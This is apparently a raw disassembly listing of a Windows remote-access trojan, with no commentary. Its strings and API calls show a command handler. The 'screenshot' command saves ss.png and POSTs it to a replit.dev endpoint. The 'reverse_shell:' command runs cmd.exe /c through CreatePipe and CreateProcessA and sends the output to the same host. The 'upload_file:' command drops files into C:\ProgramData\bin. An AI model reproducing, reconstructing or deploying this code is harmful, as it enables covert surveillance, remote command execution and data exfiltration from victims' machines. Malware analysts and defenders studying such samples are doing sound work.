jbe 0x1400050f3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140018494
nop
lea rcx, [rsp + 0x460]
call fcn.1400035c0
nop
lea rcx, [rsp + 0x3b0]
call fcn.140007000
nop
lea rcx, [rsp + 0x3e8]
call fcn.1400035c0
movabs r15, 0x7fffffffffffffff
jmp 0x140004340
lea rdx, str.screenshot
lea rcx, [rsp + 0x460]
call fcn.140009990
test al, al
je 0x140005327
call fcn.1400032b0
lea rcx, [rsp + 0x640]
call fcn.140005c50
lea rcx, [rsp + 0x640]
call fcn.140006af0
nop
mov rax, qword [rsp + 0x640]
movsxd rcx, dword [rax + 4]
lea rax, [rsp + 0x640]
add rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_bool___cdecl_std::ios_base::operator__void_const___ptr64]
test al, al
je 0x1400051fc
lea rdx, str.Failed_to_open_ss.png_file.
lea rcx, [rsp + 0x60]
call fcn.140007800
mov rcx, rax
call fcn.1400035c0
nop
lea rcx, [rsp + 0x640]
call fcn.140005b90
nop
lea rcx, [rsp + 0x4d0]
call fcn.1400035c0
nop
lea rcx, [rsp + 0x460]
call fcn.1400035c0
nop
lea rcx, [rsp + 0x3b0]
call fcn.140007000
nop
lea rcx, [rsp + 0x3e8]
call fcn.1400035c0
movabs r15, 0x7fffffffffffffff
jmp 0x140004340
lea rcx, [rsp + 0x530]
call fcn.140005cc0
lea rcx, [rsp + 0x530]
call fcn.140005d90
nop
lea rdx, [rsp + 0x650]
lea rcx, [rsp + 0x540]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_streambuf_char__struct_std::char_traits_char______ptr64____ptr64]
lea rdx, [rsp + 0x440]
lea rcx, [rsp + 0x530]
call fcn.140005cd0
nop
lea rcx, [rsp + 0x640]
call fcn.140006ab0
lea rcx, [rsp + 0x480]
call fcn.14000a130
nop
lea rcx, [rsp + 0x480]
call fcn.140002ae0
movzx ebx, al
lea rcx, [rsp + 0x480]
call fcn.140002100
test bl, bl
je 0x14000528c
lea rcx, str.C:ProgramData_bin_ss.png
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
lea rdx, str.POST
lea rcx, [rsp + 0x480]
call fcn.140007800
nop
lea r8, [rsp + 0x4d0]
lea rdx, str.https:__edf4bc0a_b108_45ec_9597_da2efe942f81_00_1gl8qneytsy5o.worf.replit.dev_send_screenshot_channel_id
lea rcx, [rsp + 0x60]
call fcn.140009cf0
nop
mov qword [rsp + 0x20], r12
lea r9, [rsp + 0x440]
lea r8, [rsp + 0x480]
lea rdx, str.Content_Type:_application_octet_stream
mov rcx, rax
call fcn.140003620
nop
lea rcx, [rsp + 0x60]
call fcn.1400035c0
nop
lea rcx, [rsp + 0x480]
call fcn.1400035c0
nop
lea rcx, [rsp + 0x440]
call fcn.1400035c0
nop
lea rcx, [rsp + 0x530]
call fcn.140005c60
nop
lea rcx, [rsp + 0x640]
call fcn.140005b90
jmp 0x1400059a1
mov r9d, 0xe
xor r8d, r8d
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x460]
call fcn.1400076e0
lea rdx, str.reverse_shell:
mov rcx, rax
call fcn.140009990
movzx ebx, al
lea rcx, [rsp + 0x60]
call fcn.1400035c0
lea rcx, [rsp + 0x460]
test bl, bl
je 0x140005752
mov r9, qword [rsp + 0x470]
mov r8d, 0xe
lea rdx, [rsp + 0x60]
call fcn.1400076e0
nop
mov r8, rax
lea rdx, str.cmd.exe__c
lea rcx, [rsp + 0x480]
call fcn.140009bc0
nop
lea rcx, [rsp + 0x60]
call fcn.1400035c0
lea rcx, [rsp + 0x440]
call fcn.140007960
nop
mov dword [rsp + 0x3c8], 0x18
mov dword [rsp + 0x3d8], 1
mov qword [rsp + 0x3d0], r12
xor r9d, r9d
lea r8, [rsp + 0x3c8]
lea rdx, [rsp + 0x330]
lea rcx, [rsp + 0x328]
call qword [sym.imp.KERNEL32.dll_CreatePipe]
test eax, eax
jne 0x140005476
lea rdx, str.failed_to_create_command_pipe
lea rcx, [rsp + 0x60]
call fcn.140007800
mov rcx, rax
call fcn.1400035c0
nop
lea rcx, [rsp + 0x440]
call fcn.1400035c0
nop
lea rcx, [rsp + 0x480]
call fcn.1400035c0
nop
lea rcx, [rsp + 0x4d0]
call fcn.1400035c0
nop
lea rcx, [rsp + 0x460]
call fcn.1400035c0
nop
lea rcx, [rsp + 0x3b0]
call fcn.140007000
nop
lea rcx, [rsp + 0x3e8]
call fcn.1400035c0
movabs r15, 0x7fffffffffffffff
jmp 0x140004340
xorps xmm0, xmm0
movups xmmword [rsp + 0x340], xmm0
movups xmmword [rsp + 0x350], xmm0
movups xmmword [rsp + 0x360], xmm0
movups xmmword [rsp + 0x370], xmm0
movups xmmword [rsp + 0x380], xmm0
movups xmmword [rsp + 0x390], xmm0
mov dword [rsp + 0x340], 0x68
mov dword [rsp + 0x37c], 0x101
mov rax, qword [rsp + 0x330]
mov qword [rsp + 0x398], rax
mov qword [rsp + 0x3a0], rax
mov ecx, 0xfffffff6
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov qword [rsp + 0x390], rax
mov word [rsp + 0x380], r12w
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x4a0], xmm0
mov qword [rsp + 0x4b0], rax
xor edx, edx
lea rcx, [rsp + 0x480]
call fcn.1400076c0
mov rdx, rax
lea rax, [rsp + 0x4a0]
mov qword [rsp + 0x48], rax
lea rax, [rsp + 0x340]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], r12
mov qword [rsp + 0x30], r12
mov dword [rsp + 0x28], r12d
mov dword [rsp + 0x20], 1
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x1400055ec
mov rcx, qword [rsp + 0x330]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
mov qword [rsp + 0x20], r12
lea r9, [rsp + 0x318]
mov r8d, 0xfff
lea rdx, [rsp + 0x640]
mov rcx, qword [rsp + 0x328]
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x1400055c2
mov eax, dword [rsp + 0x318]
test eax, eax
je 0x1400055c2
mov r8d, eax
lea rdx, [rsp + 0x640]
lea rcx, [rsp + 0x440]
call fcn.140007750
jmp 0x140005570
mov rcx, qword [rsp + 0x328]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x4a0]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x4a8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rdx, [rsp + 0x440]
lea rcx, [rsp + 0x60]
call fcn.140007840
mov rcx, rax
call fcn.1400035c0
nop
xor edx, edx
lea rcx, [rsp + 0x430]
call fcn.140008890
nop
lea rax, [rsp + 0x170]
mov qword [rsp + 0x58], rax
lea rdx, [rsp + 0x440]
lea rcx, [rsp + 0x170]
call fcn.140009f70
mov rbx, rax
lea rdx, str.output
lea rcx, [rsp + 0x430]
call fcn.140009e50
nop
mov rdx, rbx
mov rcx, rax
call fcn.140007020
lea rax, [rsp + 0x180]
mov qword [rsp + 0x58], rax
lea rdx, [rsp + 0x4d0]
lea rcx, [rsp + 0x180]
call fcn.140009f70
mov rbx, rax
lea rdx, str.channel_id
lea rcx, [rsp + 0x430]
call fcn.140009e50
nop
mov rdx, rbx
mov rcx, rax
call fcn.140007020
lea rdx, [rsp + 0xc0]
lea rcx, [rsp + 0x430]
call fcn.140006d10
mov rbx, rax
lea rdx, str.POST
lea rcx, [rsp + 0x60]
call fcn.140007800
nop
lea rdx, str.https:__edf4bc0a_b108_45ec_9597_da2efe942f81_00_1gl8qneytsy5o.worf.replit.dev_send_command_output
lea rcx, [rsp + 0x100]
call fcn.140007800
nop
mov qword [rsp + 0x20], r12
mov r9, rbx
lea r8, [rsp + 0x60]
lea rdx, str.Content_Type:_application_json
lea rcx, [rsp + 0x100]
call fcn.140003620
nop
lea rcx, [rsp + 0x100]
call fcn.1400035c0
nop
lea rcx, [rsp + 0x60]
call fcn.1400035c0
nop
lea rcx, [rsp + 0xc0]
call fcn.1400035c0
nop
lea rcx, [rsp + 0x430]
call fcn.140007000
nop
lea rcx, [rsp + 0x440]
call fcn.1400035c0
nop
lea rcx, [rsp + 0x480]
jmp 0x14000599c
mov r9d, 0xc
xor r8d, r8d
lea rdx, [rsp + 0xc0]
call fcn.1400076e0
lea rdx, str.upload_file:
mov rcx, rax
call fcn.140009990
movzx ebx, al
lea rcx, [rsp + 0xc0]
call fcn.1400035c0
test bl, bl
je 0x1400059a1
mov r9, qword [rsp + 0x470]
mov r8d, 0xc
lea rdx, [rsp + 0x3c8]
lea rcx, [rsp + 0x460]
call fcn.1400076e0
nop
lea rcx, [rsp + 0x440]
call fcn.140007960
nop
lea rdx, [0x14001b811]
lea rcx, [rsp + 0x100]
call fcn.140007800
nop
lea rdx, [0x14001bae4]
lea rcx, [rsp + 0x60]
call fcn.140007800
nop
lea rax, [rsp + 0x440]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x100]
lea r8, [rsp + 0x60]
lea rdx, str.Content_Type:_application_json
lea rcx, [rsp + 0x3c8]
call fcn.140003620
nop
lea rcx, [rsp + 0x60]
call fcn.1400035c0
nop
lea rcx, [rsp + 0x100]
call fcn.1400035c0
lea rdx, [rsp + 0x3c8]
lea rcx, [rsp + 0x4a0]
call fcn.140003a50
nop
lea r8, [rsp + 0x4a0]
lea rdx, str.C:ProgramData_bin_
lea rcx, [rsp + 0x480]
call fcn.140009cf0
nop
lea rcx, [rsp + 0x480]
call fcn.140007740
mov rdx, rax
lea r8, [0x14001be9c]
lea rcx, [rsp + 0x320]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fopen_s]
test eax, eax
jne 0x140005901
mov r9, qword [rsp + 0x320]
test r9, r9
je 0x140005901
lea rcx, [rsp + 0x440]
call fcn.140007740
mov r8, qword [rsp + 0x450]
mov edx, 1
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
mov rcx, qword [rsp + 0x320]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
nop
lea rcx, [rsp + 0x480]
call fcn.1400035c0
nop
lea rcx, [rsp + 0x4a0]
call fcn.1400035c0
nop
lea rcx, [rsp + 0x440]
call fcn.1400035c0
nop
lea rcx, [rsp + 0x3c8]
jmp 0x14000599c
lea rdx, str.Failed_to_open_file_for_writing.
lea rcx, [rsp + 0xc0]
call fcn.140007800
mov rcx, rax
call fcn.1400035c0
nop
lea rcx, [rsp + 0x480]
call fcn.1400035c0
nop
lea rcx, [rsp + 0x4a0]
call fcn.1400035c0
nop
lea rcx, [rsp + 0x440]
call fcn.1400035c0
nop
lea rcx, [rsp + 0x3c8]
call fcn.1400035c0
nop
lea rcx, [rsp + 0x4d0]
call fcn.1400035c0
nop
lea rcx, [rsp + 0x460]
call fcn.1400035c0
nop
lea rcx, [rsp + 0x3b0]
call fcn.140007000
nop
lea rcx, [rsp + 0x3e8]
call fcn.1400035c0
movabs r15, 0x7fffffffffffffff
jmp 0x140004340
call fcn.1400035c0
lea rdx, [rsp + 0x460]
lea rcx, [rsp + 0x408]
call fcn.1400077d0
nop
lea rcx, [rsp + 0x4d0]
call fcn.1400035c0
nop
lea rcx, [rsp + 0x460]
call fcn.1400035c0
nop
lea rcx, [rsp + 0x3b0]
call fcn.140007000
nop
lea rcx, [rsp + 0x3e8]
call fcn.1400035c0
jmp 0x140004332
lea rcx, [rsp + 0x3b0]
call fcn.14000c950
mov qword [rsp + 0x50], rax
lea r8, [rsp + 0x50]
lea rcx, [rsp + 0xc0]
call fcn.140011bc0
nop
mov r8, rax
mov edx, 0x131
lea rcx, [rsp + 0x238]
call fcn.140011c80
lea rdx, [0x140021d18]
lea rcx, [rsp + 0x238]
call sub.VCRUNTIME140.dll__CxxThrowException
nop
lea rcx, [rsp + 0x3b0]
call fcn.14000c950
mov qword [rsp + 0x50], rax
lea r8, [rsp + 0x50]
lea rcx, [rsp + 0xc0]
call fcn.140011bc0
nop
mov r8, rax
mov edx, 0x131
lea rcx, [rsp + 0x270]
call fcn.140011c80
lea rdx, [0x140021d18]
lea rcx, [rsp + 0x270]
call sub.VCRUNTIME140.dll__CxxThrowException
nop
movzx r14d, byte [rsp + 0x3b0]
jmp 0x140004adf
lea rcx, [rsp + 0x3b0]
call fcn.14000c950
mov qword [rsp + 0x50], rax
lea r8, [rsp + 0x50]
lea rcx, [rsp + 0xc0]
call fcn.140011bc0
nop
mov r8, rax
mov edx, 0x131
lea rcx, [rsp + 0x1c8]
call fcn.140011c80
lea rdx, [0x140021d18]
lea rcx, [rsp + 0x1c8]
call sub.VCRUNTIME140.dll__CxxThrowException
nop
call fcn.140018494
mov qword [rsp + 0x3f8], r12
mov qword [rsp + 0x400], 0xf
mov byte [rsp + 0x3e8], 0
movabs r15, 0x7fffffffffffffff
jmp 0x140004340
lea rcx, [rsp + 0x4c0]
call fcn.14000c950
mov qword [rsp + 0x50], rax
lea r8, [rsp + 0x50]
lea rcx, [rsp + 0xc0]
call fcn.140011bc0
nop
mov r8, rax
mov edx, 0x131
lea rcx, [rsp + 0x2e0]
call fcn.140011c80
lea rdx, [0x140021d18]
lea rcx, [rsp + 0x2e0]
call sub.VCRUNTIME140.dll__CxxThrowException
int3